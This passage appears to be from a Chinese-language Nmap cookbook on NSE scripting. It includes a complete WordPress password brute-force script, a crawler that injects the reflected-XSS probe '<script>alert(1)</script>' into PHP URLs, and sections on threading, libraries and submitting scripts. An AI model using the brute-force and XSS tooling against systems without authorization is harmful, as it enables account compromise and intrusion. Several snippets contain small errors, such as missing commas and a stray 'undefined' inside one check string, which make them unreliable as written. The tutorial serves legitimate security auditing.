 reqs = http.pipeline_add('/Trace.axd', nil, reqs) 
 reqs = http.pipeline_add('/trace.axd', nil, reqs) 
 reqs = http.pipeline_add('/Web.config.old', nil, reqs) 

完成添加请求后,使用 http.pipeline() 执行管道:

 local results = http.pipeline(target, 80, reqs) 

变量 results 将包含添加到 HTTP 请求队列中的响应对象的数量。要访问这些对象,只需遍历对象即可:

 for i, req in pairs(results) do 
 	stdnse.print_debug(1, "Request #%d returned status %d", I,  req.status) 
 end 

编写暴力密码审计脚本

暴力密码审计已成为 Nmap 脚本引擎的一大优势。库 brute 允许开发人员快速编写脚本来执行自定义暴力破解攻击。Nmap 还提供 unpwd 和 creds 等库,前者可访问灵活的用户名和密码数据库以进一步自定义攻击,后者则提供了一个界面来管理找到的有效凭证。

本食谱将指导您使用 NSE 库 brute、unpwdb 和 creds 编写自己的暴力脚本,对 Wordpress 安装执行暴力密码审计。

How to do it...

让我们编写一个 NSE 脚本,对 WordPress 账户进行暴力破解:

  1. 创建文件 http-wordpress-brute.nse,并填写所需的信息标签:

     description = [[
     performs brute force password auditing against Wordpress
     CMS/blog installations.
     This script uses the unpwdb and brute libraries to perform
     password guessing. Any successful guesses arestored using the
     credentials library.
     Wordpress default uri and form names:
     * Default uri:<code>wp-login.php</code>
     * Default uservar: <code>log</code>
     * Default passvar: <code>pwd</code>
     ]]
     author = "Paulino Calderon <calderon()websec.mx>"
     license = "Same as Nmap--See
    http://nmap.org/book/man-legal.html"
     categories = {"intrusive", "brute"}
    
  2. 加载所需的库:

     local brute = require "brute"
     local creds = require "creds"
     local http = require "http"
     local shortport = require "shortport"
     local stdnse = require "stdnse"
    
  3. 使用蛮力引擎的 NSE 脚本需要实现其驱动程序类,具体如下:

     Driver = {
     new = function(self, host, port, options)
     --Constructor
     end,
     check = function(self)
     --Function initialization
     end
     login = function(self)
     --Login function
     end
     connect = function(self)
     --Connect executes before the login function
     end
     disconnect = function(self)
     --Disconnect executes after the login function
     end
     } 
    
  4. 让我们创建与脚本相关的相应函数:

    构造函数负责读取脚本参数并设置脚本可能需要的其他选项:

     new = function(self, host, port, options)
     local o = {}
     setmetatable(o, self)
     self.__index = self
     o.host = stdnse.get_script_args('http-wordpress-
     brute.hostname') or host
     o.port = port
     o.uri = stdnse.get_script_args('http-wordpress-brute.uri')
    or
     DEFAULT_WP_URI
     o.options = options
     return o
     end,
    

    connect 函数可以留空,因为在本例中不需要连接到套接字;我们正在对 HTTP 服务执行暴力密码审计攻击,NSE 库 http 会为我们打开和关闭必要的套接字:

     connect = function( self )
     return true
     end,
    

    对于该脚本,断开功能也可以留空:

     disconnect = function( self ) 
     return true 
     end, 
    

    检查函数用于在我们开始暴力密码攻击前进行正确性检查。请注意,该函数已被标记为弃用,最好将这些检查移至主部分:

     check = function( self )
     local response = http.get( self.host, self.port, self.uri )
     stdnse.debug(1, "HTTP GET %s%s",
     stdnse.get_hostname(self.host),self.uri)
     -- Check if password field is there
     if ( response.status == 200 and response.body:match('type=
     [\'"]password[\'"]')) then
     stdnse.debug(1, "Initial check passed.
     Launching brute force attack")
     return true
     else
     stdnse.debug(1, "Initial check failed.
     Password field wasn't found")
     end
     return false
    

    最后是登录功能:

     login = function( self, username, password )
     -- Note the no_cache directive
     stdnse.print_debug(2, "HTTP POST %s%s\n", self.host,
     self.uri)
     local response = http.post( self.host, self.port, self.uri,
     {
     no_cache = true }, nil, { [self.options.uservar] = username,
     [self.options.passvar]
     = password } )
     -- This redirect is taking us to /wp-admin
     if response.status == 302 then
     local c = creds.Credentials:new( SCRIPT_NAME, self.host,
     self.port )
     c:add(username, password, creds.State.VALID )
     return true, brute.Account:new( username, password,
     "OPEN")
     end
     return false, brute.Error:new( "Incorrect password" )
     end,
    
  5. 我们将代码的主要部分留给了初始化、配置和启动蛮力引擎:

     action = function( host, port )
     local status, result, engine
     local uservar = stdnse.get_script_args('http-wordpress-
     brute.uservar') or DEFAULT_WP_USERVAR
     local passvar = stdnse.get_script_args('http-wordpress-
     brute.passvar') or DEFAULT_WP_PASSVAR
     local thread_num = stdnse.get_script_args("http-wordpress-
     brute.threads") or DEFAULT_THREAD_NUM
     engine = brute.Engine:new( Driver, host, port, { uservar =
     uservar, passvar = passvar } )
     engine:setMaxThreads(thread_num)
     engine.options.script_name = SCRIPT_NAME
     status, result = engine:start()
     return result
     end
    

How it works...

通过 brute 库,开发人员可以编写 NSE 脚本来执行密码暴力审核。目前,NSE 可以对许多应用程序、服务和协议进行暴力破解:Apache Jserv、BackOrifice、Joomla、Cassandra、Citrix PN Web Agent XML、CICS、CVS、DNS、Domino Console、Dpap、IBM DB2、Wordpress、FTP、HTTP、Asterisk IAX2、IMAP、Informix Dynamic Server、IRC、iSCSI、IPMI RPC、LDAP、LibreOffice Impress、Couchbase Membase、RPA Tech Mobile Mouse、Metasploit msgrpc、Metasploit XMLRPC、MongoDB、MSSQL、MySQL、Nessus 守护进程、Netbus、Nexpose、Nping Echo、NJE、OpenVAS、Oracle、PCAnywhere、PostgreSQL、POP3、redis、rlogin、rsync、rpcap、rtsp、SIP、Samba、SMTP、SNMP、SOCKS、SVN、Telnet、TSO、VMWare Auth 守护进程、VNC、VTAM 屏幕和 XMPP。

要使用该库,我们需要创建一个驱动程序类,并将其作为参数传递给暴力引擎。每次登录尝试都会创建一个该类的新实例:

 Driver:login = function( self, username, password ) 
 Driver:check = function( self ) [Deprecated] 
 Driver:connect = function( self ) 
 Driver:disconnect = function( self ) 

在 http-wordpress-brute 脚本中,connect() 和 disconnect() 函数一直返回 true,因为不需要事先建立连接,因为 HTTP 请求的套接字是由 NSE 库直接处理的。

登录函数应返回一个布尔值以显示其状态。如果登录尝试成功,它还应返回一个账户对象:

 brute.Account:new( username, password, "OPEN") 

在此脚本中,我们还使用 NSE 库 creds 来存储凭证。这允许其他 NSE 脚本访问它们,用户甚至可以根据结果生成其他报告:

 local c = creds.Credentials:new( SCRIPT_NAME, self.host, self.port ) 
 c:add(username, password, creds.State.VALID ) 

There's more...

NSE libraries unpwdb 和 brute 有几个脚本参数,用户可以根据自己的暴力密码审计攻击进行调整。

要使用不同的用户名和密码列表,可分别设置参数 userdb 和 passdb:

$ nmap -p80 --script http-wordpress-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt <target> 

要在找到一个有效账户后退出,请使用参数 brute.firstOnly:

$ nmap -p80 --script http-wordpress-brute --script-args brute.firstOnly <target> 

要设置不同的超时限制,请使用参数 unpwd.timelimit。要无限期运行,请将其设置为 0:

$ nmap -p80 --script http-wordpress-brute --script-args unpwdb.timelimit=0 <target> 
$ nmap -p80 --script http-wordpress-brute --script-args unpwdb.timelimit=60m <target> 

这些库的官方文档可在以下网站找到:

http://nmap.org/nsedoc/lib/brute.html

http://nmap.org/nsedoc/lib/creds.html

http://nmap.org/nsedoc/lib/unpwdb.html

请参阅附录 B "暴力密码审计选项",了解执行暴力密码审计攻击时可用配置选项的更多信息。

抓取网络服务器以检测漏洞

在评估网络应用程序的安全性时,需要对网络服务器中的每个文件进行某些检查。例如,查找遗忘的备份文件可能会泄露应用程序源代码或数据库密码。Nmap 脚本引擎支持网络爬行,可以帮助我们完成需要网络服务器上现有文件列表的任务。

本教程将向您展示如何编写一个 NSE 脚本,该脚本将抓取网络服务器,查找扩展名为 .php 的文件,并通过变量 $_SERVER["PHP_SELF"]执行注入测试,以查找反映的跨站脚本漏洞。

How to do it...

一些主要的安全扫描程序会忽略一项常见任务,即通过变量 $_SERVER["PHP_SELF"]查找 PHP 文件中反映出来的跨站脚本漏洞。在自动执行这项任务时,网络爬虫库 httpspider 可以派上用场。让我们看看如何编写脚本:

  1. 创建脚本文件 http-phpself-xss.nse,并填写所需的信息标签:

     description=[[
     Crawls a web server and attempts to find PHP files vulnerable to
     reflected cross site scripting via the variable
     $_SERVER["PHP_SELF"].
     This script crawls the web server to create a list of PHP files
     and then sends an attack vector/probe to identify PHP_SELF cross
     site scripting vulnerabilities.
     PHP_SELF XSS refers to reflected cross site scripting
     vulnerabilities caused by the lack of sanitation of the variable
     <code>$_SERVER["PHP_SELF"]</code> in PHP scripts. This variable
     is commonly used in php scripts that display forms and when the
     script file name is needed.
     Examples of Cross Site Scripting vulnerabilities in the variable
     $_SERVER[PHP_SELF]:
     *http://www.securityfocus.com/bid/37351
     *http://software-security.sans.org/blog/2011/05/02/spot-vuln-
     percentage
     *http://websec.ca/advisories/view/xss-vulnerabilities-mantisbt-
     1.2.x
     The attack vector/probe used is: <code>/'"/><script>alert(1)
     </script></code>
     ]]
     author = "Paulino Calderon <calderon()websec.mx>"
     license = "Same as Nmap--See http://nmap.org/book/
     man-legal.html"
     categories = {"fuzzer", "intrusive", "vuln"}
    
  2. 加载所需的库:

     local http = require 'http'
     local httpspider = require 'httpspider'
     local shortport = require 'shortport'
     local url = require 'url'
     local stdnse = require 'stdnse'
     local vulns = require 'vulns'
    
  3. 定义脚本应在每次遇到别名为 shortport.http 的 HTTP 服务器时运行:

     portrule = shortport.http 
    
  4. 编写从爬虫接收 URI 并发送注入探针的函数:

     local PHP_SELF_PROBE =
     '/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E'
     local probes = {}
     local function launch_probe(host, port, uri)
     local probe_response
     --We avoid repeating probes.
     --This is a temp fix since httpspider do not keep track of
     previously parsed links at the moment.
     if probes[uri] then
     return false
     end
     stdnse.debug(1, "%s:HTTP GET %s%s", SCRIPT_NAME, uri,
     PHP_SELF_PROBE)
     probe_response = http.get(host, port, uri .. PHP_SELF_PROBE)
     --save probe in list to avoid repeating it
     probes[uri] = true
     if check_probe_response(probe_response) then
     return true
     end
     return false
     end
    
  5. 添加检查响应体的函数,以确定 PHP 文件是否存在漏洞:

     local function check_probe_response(response)
     stdnse.debug(3, "Probe response:\n%s", response.body)
     if string.find(response.body,
     "'\"/><script>alert(1)</script>", 1, true) ~= nil then
     return true
     end
     return false
     end
    
  6. 在脚本的主要部分,我们将添加代码,用于读取脚本参数、初始化 http 爬虫、设置漏洞信息,以及迭代页面,以便在发现 PHP 文件时启动探针:

     action = function(host, port)
     local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/"
     local timeout = stdnse.get_script_args
     (SCRIPT_NAME..'.timeout')
     or 10000
     local crawler = httpspider.Crawler:new(host, port, uri, {
     scriptname = SCRIPT_NAME } )
     crawler:set_timeout(timeout)
     local vuln = {
     title = 'Unsafe use of $_SERVER["PHP_SELF"] in PHP
     files',
     state = vulns.STATE.NOT_VULN,
     description = [[
     PHP files are not handling safely the variable
     $_SERVER["PHP_SELF"] causing Reflected Cross Site Scripting
     vulnerabilities.
     ]],
     references = {
     'http://php.net/manual/en/reserved.variables.server.php',
     'https://www.owasp.org/index.php/Cross-
     site_Scripting_(XSS)'
     }
     }
     local vuln_report = vulns.Report:new(SCRIPT_NAME, host,port)
     local vulnpages = {}
     local probed_pages= {}
     while(true) do
     local status, r = crawler:crawl()
     if ( not(status) ) then
     if ( r.err ) then
     return stdnse.format_output(true, "ERROR: %s", r.reason)
     else
     break
     end
     end
     local parsed = url.parse(tostring(r.url))
     --Only work with .php files
     if ( parsed.path and parsed.path:match(".*.php") ) then
     --The following port/scheme code was seen in
     http-backup-finder and its neat =)
     local host, port = parsed.host, parsed.port
     if ( not(port) ) then
     port = (parsed.scheme == 'https') and 443
     port = port or ((parsed.scheme == 'http') and 80)
     end
     local escaped_link = parsed.path:gsub(" ", "%%20")
     if launch_probe(host,port,escaped_link) then
     table.insert(vulnpages,
     parsed.scheme..'://'..host..escaped_link..PHP_SELF_PROBE)
     end
     end
     end
     if ( #vulnpages > 0 ) then
     vuln.state = vulns.STATE.EXPLOIT
     vulnpages.name = "Vulnerable files with proof of concept:"
     vuln.extra_info = stdnse.format_output(true,
     vulnpages)..crawler:getLimitations()
     end
     return vuln_report:make_output(vuln)
     end
    
  7. 要运行脚本,请使用以下命令:

    $ nmap -p80 --script http-phpself-xss.nse <target> 
    
  8. 如果 PHP 文件通过注入 $_SERVER["PHP_SELF"]而受到跨站脚本攻击,输出结果将如下所示:

     PORT STATE SERVICE REASON
     80/tcp open http syn-ack
     http-phpself-xss:
     VULNERABLE:
     Unsafe use of $_SERVER["PHP_SELF"] in PHP files
     State: VULNERABLE (Exploitable)
     Description:
     PHP files are not handling safely the variable
     $_SERVER["PHP_SELF"] causing Reflected Cross Site Scripting
     vulnerabilities.
     Extra information:
     Vulnerable files with proof of concept:
    http://calder0n.com/sillyapp/three.php/%27%22/%3E%3Cscript%3Ealert
     (1)%3C/script%3E
    http://calder0n.com/sillyapp/secret/2.php/%27%22/%3E%3Cscript%3Eal
     ert(1)%3C/script%3E
    http://calder0n.com/sillyapp/1.php/%27%22/%3E%3Cscript%3Ealert(1)%
     3C/script%3E
    http://calder0n.com/sillyapp/secret/1.php/%27%22/%3E%3Cscript%3Eal
     ert(1)%3C/script%3E Spidering limited to: maxdepth=3;
     maxpagecount=20;
     withinhost=calder0n.com
     References:
    https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
     http://php.net/manual/en/reserved.variables.server.php
    

How it works...

脚本 http-phpself-xss 依赖于 httpspider 库。该库为网络爬虫提供了一个接口,可返回被发现的 URI 的迭代器。在进行网络渗透测试时,这个库非常有用,因为它可以加快必须手动或使用第三方工具才能完成的测试。PHP 为开发人员提供了一个名为 $_SERVER["PHP_SELF"]的变量,用于获取正在执行的 PHP 脚本的文件名。不幸的是,这个值可能会被用户提供的数据篡改,许多开发人员在脚本中不安全地使用它,导致跨站脚本漏洞。

首先,我们初始化网络爬虫。我们设置起始路径和超时值:

local timeout = stdnse.get_script_args(SCRIPT_NAME..'.timeout') or 
 10000 
 local crawler = httpspider.Crawler:new(host, port, uri, { scriptname 
 = SCRIPT_NAME } ) 
 crawler:set_timeout(timeout) 

网络爬虫的行为可以通过以下库参数进行修改:

  • url: 开始搜索的基本 URL。
  • maxpagecount: 退出前访问的最大页数。
  • useheadfornonwebfiles:发现二进制文件时,使用 HEAD 节省带宽。不作为二进制文件处理的文件列表在文件 /nselib/data/http-web-file-extensions.lst 中定义。
  • noblacklist: 不加载黑名单规则。不建议使用此选项,因为它会下载所有文件,包括二进制文件。
  • withinhost: 这将过滤掉同一主机之外的 URI。
  • withindomain: 这样就能过滤掉同一域外的 URI。

我们遍历 URI,查找扩展名为 .php 的文件:

 while(true) do 

 local status, r = crawler:crawl() 

 local parsed = url.parse(tostring(r.url)) 

 if ( parsed.path and parsed.path:match(".*.php") ) then 

 ... 

 end 

 end 

处理每个扩展名为 .php 的 URI,并使用函数 http.get() 为每个 URI 发送注入探针:

 local PHP_SELF_PROBE = 
 '/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E' 
 probe_response = http.get(host, port, uri .. PHP_SELF_PROBE) 

check_probe_response() 函数只需借助 string.find() 在响应中查找注入的文本:

 if string.find(response.body, "'\"/>undefined<script>alert(1)</script>", 1, true) ~= nil then 
 return true 
 end 
 return false 

执行后,我们会检查存储易受攻击 URI 的表,并将其作为额外信息报告:

 if ( #vulnpages > 0 ) then 
 vuln.state = vulns.STATE.EXPLOIT 
 vulnpages.name = "Vulnerable files with proof of concept:" 
 vuln.extra_info = stdnse.format_output(true, 
 vulnpages)..crawler:getLimitations() 
 end 
 return vuln_report:make_output(vuln) 

There's more...

由于网络爬虫可能在完成测试之前就已退出,因此建议添加一条信息,通知用户网络爬虫使用的设置。crawler:getLimitations() 函数将返回一个显示爬虫设置的字符串:

 Spidering limited to: maxdepth=3; maxpagecount=20; 
 withinhost=scanme.nmap.org 

有关 httpspider 库的官方文档,请访问 http://nmap.org/nsedoc/lib/httpspider.html。

有关调试 NSE 脚本执行的更多信息,请参阅附录 C "NSE 调试"。

在 NSE 中使用 NSE 线程、条件变量和互斥器

Nmap 脚本引擎通过实施线程、条件变量和互斥,对脚本并行性进行更精细的控制。每个 NSE 脚本通常在一个 Lua 例程或线程内执行,但如果程序员决定这样做,它可能会产生额外的工作线程。

本食谱将教您如何处理 NSE 中的并行问题。

How to do it...

对于需要并行执行网络操作的脚本,建议使用 NSE 线程。让我们看看如何创建 NSE 线程并使用互斥和条件变量:

  1. 要创建新的 NSE 线程,请使用 stdnse 库中的 new_thread() 函数:

     local co = stdnse.new_thread(worker_main_function, arg1, arg2, arg3, ...) 
    
  2. 要同步访问网络资源,可在对象上创建一个互斥体:

     local my_mutex = nmap.mutex(object) 
    
  3. 然后,可以按如下方式锁定 nmap.mutex(object) 返回的函数:

    my_mutex("trylock") 
    
  4. 使用完毕后,应使用函数 "done "将其释放:

    my_mutex("done") 
    
  5. NSE 支持条件变量,以帮助您同步线程的执行。要创建条件变量,请使用函数 nmap.condvar(object):

     local o = {} 
     local my_condvar = nmap.condvar(o) 
    
  6. 之后,您可以等待、发出信号或广播条件变量:

     my_condvar("signal") 
    

How it works...

当网络操作发生时,NSE 脚本会透明地产生。脚本编写者可能希望执行并行网络任务,如 http-slowloris 脚本,该脚本打开多个套接字并同时保持打开状态。NSE 线程允许脚本编写者让渡并行网络操作,从而解决了这一问题。

stdnse.new_thread 函数的第一个参数是新 Worker 的主函数。该函数将在新线程创建后执行。脚本编写者可以在 stdnse.new_thread() 中传递任何其他参数作为可选参数:

 local co = stdnse.new_thread(worker_main_function, arg1, arg2, arg3, 
 ...) 

Worker 的返回值会被 NSE 忽略,因此无法报告脚本输出。官方文档建议使用上值、函数参数或环境向基本线程报告结果。

执行后,它会返回基本线程和一个状态查询函数。该状态查询函数最多会返回两个值:使用基本线程的 coroutine.status 的结果;如果出现错误,则返回一个错误对象。

实现互斥或互斥对象是为了保护 NSE 套接字等资源。在互斥对象上可以执行以下操作:

  • lock: 这样就锁定了互斥。如果互斥项被占用,工作线程将屈服并等待释放。
  • trylock: 它会尝试以非阻塞方式锁定互斥项。如果互斥项被占用,它将返回 false。(它不会像函数锁定那样产生收益)。
  • done: 这将释放互斥。之后,其他线程可以锁定它。
  • running: 除调试外,不应使用该函数,因为它会影响已完成线程的线程集合。

实现条件变量的目的是帮助开发人员协调线程之间的通信。可以对条件变量执行以下操作:

  • broadcast: 这将恢复条件变量队列中的所有线程
  • wait: 这会将当前线程添加到条件变量
  • signal: 这将从等待队列中发出一个线程信号

要阅读脚本并行化的实现,我建议您阅读 NSE 脚本 broadcast-ping、ssl-enum-ciphers、firewall-bypass、http-slowloris 或 broadcast-dhcp-discover 的源代码。

There's more...

Lua 提供了一种名为 coroutines 的有趣功能。每个 coroutine 都有自己的执行堆栈。最重要的是,我们可以通过 coroutine.resume() 和 coroutine.yield() 暂停和恢复执行。引入函数 stdnse.base(),是为了帮助识别主脚本线程是否仍在运行。它会返回正在运行的脚本的基础 coroutine。

你可以从 Lua 的官方文档中了解更多关于 coroutine 的信息:

http://lua-users.org/wiki/CoroutinesTutorial

http://www.lua.org/pil/9.1.html

有关调试 NSE 脚本执行的更多信息,请参阅附录 C,NSE 调试。

用 Lua 编写新的 NSE 库

有时您会意识到,您编写的代码可以放入一个库中,供其他 NSE 脚本重复使用。编写 NSE 库的过程非常简单,我们只需考虑某些事项,例如不得访问其他脚本使用的全局变量。

本食谱将教您如何创建自己的 Lua NSE 库。

How to do it...

创建库的过程与编写脚本类似。请务必考虑您正在使用的变量的范围。让我们先用 Lua 创建一个 NSE 库:

  1. 创建一个新文件 mylibrary.lua,声明所需的库并设置 _ENV upvalue:

     local math = require "math" 
     _ENV = stdnse.module("mylibrary", stdnse.seeall) 
    
  2. 现在,只需编写库的函数 (mylibrary.lua),并在文件末尾返回 _ENV。我们的程序将只包含一个函数,返回经典的 "Hello World!"信息:

     function hello_word() 
     return "Hello World!" 
     end 
     return _ENV; 
    
  3. 将新库文件放入 /nselib/ 目录。创建一个新的 NSE 脚本,将其放在脚本文件夹中,并添加 require() 调用来链接我们的新库:

     local mylibrary = require "mylibrary" 
    
  4. 从脚本中执行新方法。如果无法访问该方法,可能是你为函数设置的作用域赋值不正确:

     mylibrary.hello_world() 
    

How it works...

LUA NSE 库存储在配置数据目录下的 /nselib/ 目录中。要创建我们自己的库,只需创建 .lua 文件并将其放在该目录下即可:

 --hello.lua
 local stdnse = require "stdnse"
 _ENV = stdnse.module("mylibrary", stdnse.seeall)
 function foo(msg, name)
 return stdnse.format("%s %s", msg, name)
 end
 return _ENV

NSE 脚本现在可以导入 NSE 库并调用可用函数:

 local hello = require "hello" 
 ...
 hello.foo("Hello", "Martha") 

在将库提交到 http://insecure.org/ 之前,一定要做好文档记录,以帮助其他开发人员快速了解新库的目的和功能。

There's more...

为避免错误覆盖其他脚本中使用的全局变量,请加入 strict.lua 模块。每次在运行时访问或修改未声明的全局变量时,该模块都会发出警报。

有关调试 NSE 脚本执行的更多信息,请参阅附录 C "NSE 调试"。

用 C/C++ 编写新的 NSE 库

首选 Lua 版本的 NSE 库,但 Nmap 脚本引擎也通过 Lua C API 支持 C/C++ 模块。只有当您需要更好的性能或集成已有项目时,才建议使用此方法。

本食谱将教您如何用 C/C++ 创建 NSE 库。

How to do it...

让我们来回顾一下创建 C 库并使用 Lua C API 访问它的过程。我们的模块只包含一个在屏幕上打印消息的函数:

  1. 创建库源文件和头文件。C 库文件名必须以字符串 nse_ 作为前缀。对于我们的库测试,我们需要 nse_test.cc 和 nse_test.h。首先,创建 nse_test.cc,并粘贴以下代码:

     extern "C" {
     #include "lauxlib.h"
     #include "lua.h"
     }
     #include "nse_test.h"
     static int hello_world(lua_State *L) {
     printf("Hello World From a C library\n");
     return 1;
     }
     static const struct luaL_Reg testlib[] = {
     {"hello", hello_world},
     {NULL, NULL}
     };
     LUALIB_API int luaopen_test(lua_State *L) {
     luaL_newlib(L, testlib);
     return 1;
     }
    
  2. 现在,创建头文件 nse_test.h:

     #ifndef TESTLIB
     #define TESTLIB
     #define TESTLIBNAME "test"
     LUALIB_API int luaopen_test(lua_State *L);
     #endif
    
  3. 现在,我们需要在 nse_main.cc 中链接我们的程序库。将此添加到文件顶部:

     #include <nse_test.h> 
    
  4. 找到 nse_main.cc 中的 set_nmap_libraries(lua_State *L) 函数,更新 libs 变量以包含我们的新库:

     static const luaL_Reg libs[] = {
     {NSE_PCRELIBNAME, luaopen_pcrelib},
     {NSE_NMAPLIBNAME, luaopen_nmap},
     {NSE_BINLIBNAME, luaopen_binlib},
     {BITLIBNAME, luaopen_bit},
     {TESTLIBNAME, luaopen_test},
     {LFSLIBNAME, luaopen_lfs},
     {LPEGLIBNAME, luaopen_lpeg},
     #ifdef HAVE_OPENSSL
     {OPENSSLLIBNAME, luaopen_openssl},
     #endif
     {NULL, NULL}
     };
    
  5. 在 Makefile.in 中添加对 nse_test.cc、nse_test.h 和 nse_test.o 的引用:

     NSE_SRC=nse_main.cc nse_utility.cc nse_nsock.cc nse_dnet.cc
     nse_fs.cc nse_nmaplib.cc nse_debug.cc nse_pcrelib.cc
     nse_binlib.cc nse_bit.cc nse_test.cc nse_lpeg.cc
     NSE_HDRS=nse_main.h nse_utility.h nse_nsock.h nse_dnet.h
     nse_fs.h
     nse_nmaplib.h nse_debug.h nse_pcrelib.h nse_binlib.h nse_bit.h
     nse_test.h nse_lpeg.h
     NSE_OBJS=nse_main.o nse_utility.o nse_nsock.o nse_dnet.o
     nse_fs.o
     nse_nmaplib.o nse_debug.o nse_pcrelib.o nse_binlib.o nse_bit.o
     nse_test.o nse_lpeg.o
    
  6. 现在我们可以编译 Nmap,我们的新库将提供给 Nmap 脚本引擎。我们调用该库的方式与调用其他 NSE 库的方式相同:

     local test = require "test"
     description = [[
     Test script that calls a method from a C library
     ]]
     author = "Paulino Calderon <calderon()websec.mx>"
     license = "Same as Nmap--See
     http://nmap.org/book/man-legal.html"
     categories = {"safe"}
     portrule = function() return true end
     action = function(host, port)
     local c = test.hello()
     end
    
  7. 调用我们的函数时,屏幕上会显示来自 C 库的 Hello World 消息。

How it works...

Nmap 脚本引擎使用 Lua C API 与 C/C++ 编写的模块通信。这些模块遵循 Lua_CFunction 类型 (http://www.lua.org/manual/5.3/manual.html#lua_CFunction) 协议。这允许开发人员集成 C/C++ 库,如 openssl。这需要遵循特定的命名约定,并在 Lua 中注册调用,但过程非常简单。

在前面的示例中,我们创建了一个简单的 C 库,并在类 Unix 发行版中完成了新库的声明和链接过程。

There's more...

创建接口让 Nmap 脚本引擎与 C 库通信会变得非常方便。甚至 Nmap 目前也使用一些 C/C++ 模块,如 PCRE、BIT 和 OpenSSL。

要查看 OpenSSL 的实现细节,了解更多关于原型和如何在 Lua 中注册函数的信息,请访问 https://nmap.org/book/nse-library.html。

为提交脚本做好准备

希望通过本章的学习,你已经学会并编写了自己的脚本,现在你已经准备好与全世界分享它们了。在将提交的代码纳入主源代码主干之前,它必须通过某些质量控制检查。所有提交的代码都必须遵守项目的代码标准,并且必须经过全面测试。

本食谱将介绍准备提交 NSE 脚本的过程。

How to do it...

  1. 首先,请访问 https://secwiki.org/w/Nmap/Code_Standards 并确保阅读了整个文件。它介绍了该组织遵循的代码标准准则。对于 Lua 和 NSE 脚本,规则很简单:

    • 使用 NSEDoc 记录脚本
    • 用两个空格缩进,不用制表符
    • 函数和变量必须是本地的
    • 脚本应支持结构化输出
    • 在格式字符串中始终使用明确的字节序
  2. 一旦你的脚本遵循了代码标准文档中描述的准则,有一个非官方的工具可以帮助你捕捉 bug 或代码风格问题。它由 Daniel Miller 创建,最初发布在 gist (https://gist.github.com/bonsaiviking/10291074)。它是为使用 Lua 5.2 和 git 仓库的脚本创建的,但也可以轻松修改以支持当前版本。

  3. 更新第 45 行的 git 命令,将其替换为 pwd,以便在不使用 git 的情况下获取当前目录。

  4. 现在针对脚本运行 nmap-check.sh,并修复发现的任何问题。一旦问题全部解决,我们就可以提交我们的新贡献了。

  5. 代码准备就绪并形成文档后,请在 GitHub https://github.com/nmap/nmap/pulls 上创建拉取请求。

How it works...

由于世界各地有许多开发人员访问该项目,因此使用代码指南来确保代码质量和一致性。Nmap 的代码库非常强大,可在许多平台上运行。请确保您已针对不同类型的主机对新脚本进行了全面测试。

Nmap 使用邮件列表作为官方交流形式,官方代码库使用 Subversion (SVN)。不过,在 GitHub 上有一个官方项目页面 (https://github.com/nmap/nmap),其中有官方问题跟踪器。虽然不是所有的问题都在这里,但由于新问题比在邮件列表中更容易跟踪,因此已经慢慢被采用。拉取请求的处理速度也会比在邮件列表中发送补丁更快。

There's more...

欢迎提交所有代码,无论是补丁、新脚本还是新功能。社区非常热情,乐于助人。如果您在任何时候遇到困难,请随时将问题发送到邮件列表。最后,请记住有时代码并不是一切。您还可以通过其他方式为项目做出贡献。以下是一些例子:

  • 改进文档或提交新的翻译

  • 提交错误报告

  • 提交新的操作系统 IPv4、IPv6 和版本检测签名

  • 宣传 Nmap 及其功能

订阅邮件列表 https://nmap.org/mailman/listinfo/dev 并经常浏览存档 (http://seclists.org/nmap-dev/) 和 GitHub issues (https://github.com/nmap/nmap/issues) 以检查您的问题是否已经解决。